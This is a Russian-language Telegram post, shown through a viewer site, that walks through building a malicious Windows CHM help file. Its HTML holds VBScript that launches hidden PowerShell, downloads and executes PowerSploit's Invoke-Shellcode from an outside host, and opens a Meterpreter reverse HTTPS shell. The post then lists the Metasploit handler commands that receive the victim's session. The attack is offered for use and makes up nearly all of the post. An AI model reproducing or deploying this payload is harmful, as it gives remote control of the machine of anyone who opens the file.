TGViewer
CODE RED CODE RED @coderedcom · 8.63K subscribers
Post #874 6.8K
​​Вирус в CHM файле

HTMLHelp (CHM) - это формат файлов Windows выпущенный в 1997 году, представляет из себя комплекс сжатых HTML страниц и используется для предоставления различной информации пользователям программ, к примеру.

В данные файлы можно интегрировать VBScript или JavaScript код, что открывает возможность для создания вредоносного CHM файла, путем добавления в разметку кодового блока с пейлоадом, чем мы сегодня и займемся.

Создание вредоносного файла

Для начала скачаем компилятор htm2chm. С помощью него мы сможем создавать CHM файлы из обычных HTML страниц.

Далее создаем .html файл, со следующим кодом

 
<body>
<script language="VBScript">
Set cmd = CreateObject("wscript.shell")
cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost <ip адрес> -lport <порт> -force"
</script>
</body>
</html>

Подставляем нужные значения ip адреса и порта, после чего компилируем файл. Открываем htm2chm, нажимаем "Compiler", в поле Folder выбираем папку с созданным файлом, жмем "Start".

Проведение атаки

Перед запуском зараженного файла на ПК жертвы необходимо подготовить meterpreter.

Прописываем в терминале Kali Linux ряд команд поочередно

 -q 
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST <ip адрес>
set LPORT <порт>

Подставляем нужные значения, и как только на целевом ПК откроется вредоносный файл, в терминал моментально прилетит открытая сессия.

#хакинг #вирусы
More from @coderedcom
  1. Nov 29, 2022Понятная пятница в английском: скидка 10% на курсы для аналитиков и разработчиков. В англи…
  2. Nov 28, 2022​Ruby для романтиков Роман Пушкин Язык руби (ruby - англ.) и веб-программирование - это не…
  3. Nov 27, 2022​PowerShell для сисадминов Адам Бертрам PowerShell® — это одновременно язык сценариев и ко…
  4. Nov 26, 2022​Программирование на Clojure. Практика применения Lisp в мире Java Чаз Эмерик, Брайан Карп…
  5. Nov 25, 2022​Разработка приложений на языке Java Е.В. Кислицын, Е.И. Шишков В учебном пособии раскрыва…
  6. Nov 24, 2022​Сбор данных в Интернете на языке R Дмитрий Храмов Всё, что регистрирует человек и созданн…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →